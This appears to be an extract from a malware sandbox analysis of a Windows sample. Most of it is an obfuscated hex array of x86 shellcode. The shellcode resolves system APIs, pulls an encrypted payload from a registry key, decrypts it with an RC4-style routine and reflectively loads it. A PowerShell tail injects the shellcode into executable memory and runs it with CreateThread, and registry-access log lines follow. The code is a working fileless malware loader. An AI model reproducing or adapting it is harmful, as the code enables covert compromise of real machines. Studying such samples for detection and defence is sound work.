0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 <#xdc#>0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 <#fdd#>0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 <#oya#>0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 <#cbh#>0x04 0x24 0x13 0x54 0x24 0x04 <#qj#>0x83 0xC4 <#is#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 <#hr#>0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C <#hpa#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 <#pn#>0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 <#ou#>0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B <#egl#>0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 <#ix#>0x73 0x75 0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#ync#>0x83 0xC4 <#js#>0x08 0x66 0x8B <#noj#>0x00 0x8B 0x55 0xCC 0x8B <#se#>0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF <#hs#>0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF <#pn#>0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF <#wya#>0x64 <#pw#>0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 <#loy#>0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 <#pwv#>0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 <#btr#>0xDB 0x75 0x05 0x6A <#qfx#>0x00 0xFF 0x55 0xA4 0x89 <#mz#>0x5D 0xD4 <#nw#>0x8B 0x45 0xD4 <#aq#>0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F <#ve#>0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B <#use#>0x40 <#cgh#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#asn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF <#fhy#>0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B <#caf#>0x40 <#ont#>0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 <#nk#>0x04 0x83 <#dcb#>0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 0x41 0x75 0x3D 0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#vpz#>0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#nc#>0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xB0 0x81 <#yz#>0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D <#drl#>0x41 0x08 <#lkp#>0x81 0x38 0x56 <#prz#>0x61 0x6C 0x75 <#yt#>0x75 0x48 0x8D 0x41 0x0C 0x81 <#lvd#>0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 <#pwg#>0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C <#rt#>0x03 0xD3 0x0F 0xB7 0xC0 0xC1 <#dc#>0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF <#ozo#>0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 <#cvd#>0x00 0x89 <#pg#>0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF 0xFF 0x33 0xDB <#dm#>0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 <#rp#>0x60 0xFF 0xFF <#wo#>0xFF 0x8D 0x85 <#srs#>0x70 0xFF 0xFF <#ubh#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#mbl#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#sc#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 <#mch#>0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#xrd#>0xFF 0xFF 0x50 <#fh#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 <#xpe#>0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 <#jl#>0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 <#ko#>0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A <#ntb#>0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 <#bw#>0x68 <#st#>0x01 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 <#agd#>0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 <#cg#>0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 <#tl#>0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 <#fkf#>0x00 0x00 0x8B 0x85 <#lbz#>0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#iym#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#so#>0xFF 0x00 0x74 0x31 <#ouu#>0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#uz#>0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC <#bu#>0x85 0xC0 0x75 0x02 0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A <#xz#>0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 <#xcj#>0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF <#iy#>0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 <#do#>0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 <#jhq#>0xF7 0xF7 0x33 0xC0 0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D 0x00 0xFB <#ex#>0xFF 0xFF 0x89 0x11 0x25 0xFF <#ko#>0x00 0x00 0x00 0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#si#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 <#pgp#>0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#cg#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#nd#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF <#evv#>0x89 <#ijv#>0x85 0x4C 0xFF 0xFF <#rdm#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 <#mh#>0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C <#ce#>0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 <#cj#>0xFF 0xFF <#ea#>0xFF 0x48 0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF <#hsq#>0x33 0xF6 0x43 <#zn#>0x81 0xE3 <#szu#>0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 <#pyc#>0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B <#ktz#>0x94 0xBD 0x00 0xFB 0xFF <#vse#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 <#qis#>0x8B 0x94 <#ugf#>0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 <#cck#>0x04 0x32 <#ek#>0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F <#zzk#>0x85 0xDA 0x02 0x00 0x00 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 <#ut#>0x00 0x53 <#jc#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 0x7D 0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#wg#>0x54 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B <#wa#>0x40 0x50 0x03 0x45 0xF8 <#du#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B <#cqw#>0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 <#zrr#>0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 <#rz#>0x82 0xE0 0x00 <#wfq#>0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF <#ggv#>0xFF 0xFF 0x33 <#fpj#>0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B <#dov#>0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 0x03 0xD1 0x89 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF <#bl#>0x8B 0x52 0x10 0x52 0x8B 0x95 <#bhd#>0x50 0xFF <#udi#>0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 <#bw#>0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B <#xp#>0x45 0xD0 0x8B 0x40 0x34 0x3B 0x45 0xF8 0x0F <#yye#>0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 <#vp#>0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0xA0 0x00 0x00 0x00 0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 0xEC 0x8B <#hok#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 <#jwj#>0xE8 0x48 0x85 0xC0 0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C 0x8B 0xCA 0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B <#bi#>0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xC9 <#lyf#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B <#wc#>0x45 0xEC 0x83 0x38 0x00 0x77 <#if#>0x8A 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 <#lek#>0x50 0xFF 0x95 0x78 0xFF <#xfe#>0xFF 0xFF 0x8B 0x45 0xD0 0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 <#kcn#>0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB <#mg#>0x7F 0x03 0x7D 0xF8 0x57 0xFF 0x55 0xBC 0x8B <#bok#>0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 0xF8 0x89 0x45 0x88 0xEB 0x0C <#cpm#>0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 <#zfn#>0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#mzs#>0xEB <#euv#>0x37 0x8B <#ue#>0x45 0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF <#gza#>0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF <#bxv#>0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 <#ffa#>0x83 0x45 0x88 0x04 0x83 0x45 0x84 <#ym#>0x04 0x8B 0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 0x8C 0x8B 0x78 0x0C 0x85 0xFF 0x0F 0x85 0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 <#ub#>0x03 0x45 0xF8 0x89 0x45 <#gf#>0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 <#jox#>0x74 0x77 0x61 0x72 0x65 0x5C 0x6D 0x77 0x41 0x44 0x51 0x57 0x4B 0x49 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x36 0x39 0x34 0x63 0x56 0x77 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xC1 0xB6 0x94 0x5F 0x90 0x36 0xF4 0xA1 0x3D 0x1E 0x42 0xC1 0xED 0xD0 0x7C 0x15 0xA4 0xC0 0x8B 0x1D 0x9E 0x5F 0xC8 0xF1 0xD8 0x00 <#fpy#>0x59 0xBB 0xDB <#hei#>0x00 0x00 <#upk#>0x00 <#nzs#>0x00 0x00 <#ra#>0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E <#kj#>0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 <#htf#>0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x37 0x00 0x32 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#exg#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1D 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B <#ufw#>0x75 <#gy#>0x0C 0x8B 0x4D 0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x2A 0xB1 0x27 0xB7 0x1A 0xEA 0x4F 0x60 0x02 0xDB 0x04 0x6C 0x95 <#wtp#>0x25 0xB1 0x3F 0xD0 0x82 0xD9 0x51 0x6C 0x43 0x5C 0x42 0xC2 0xF9 0xC8 0x43 <#egt#>0x35 0x9A 0xF6 0x9B 0x56 0x8B 0x3E 0x7D 0x6E 0x5D 0x01 0x78 0x1C 0x27 0x7B 0x21 0x26 0xCF 0xF7 0xDA 0xC3 0xA5 0xE1 <#hec#>0xCD 0xEB 0x1D 0x53 0x71 0x77 0x9E 0x19 0x45 <#ef#>0x1B 0xA9 0x4D 0x89 0x8E 0xC8 0xFC 0x28 0x6A 0x06 0x7C 0x11<#qe#>; #ipxrpik $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #grzaui if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #tqsmkpdif for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #lxgkwlgvcz ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #znqnecu }sleep(1200);}catch{}exit; #dgzf #upsihgtncxhauyqyxwkzihqrje")47:Ta85,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; 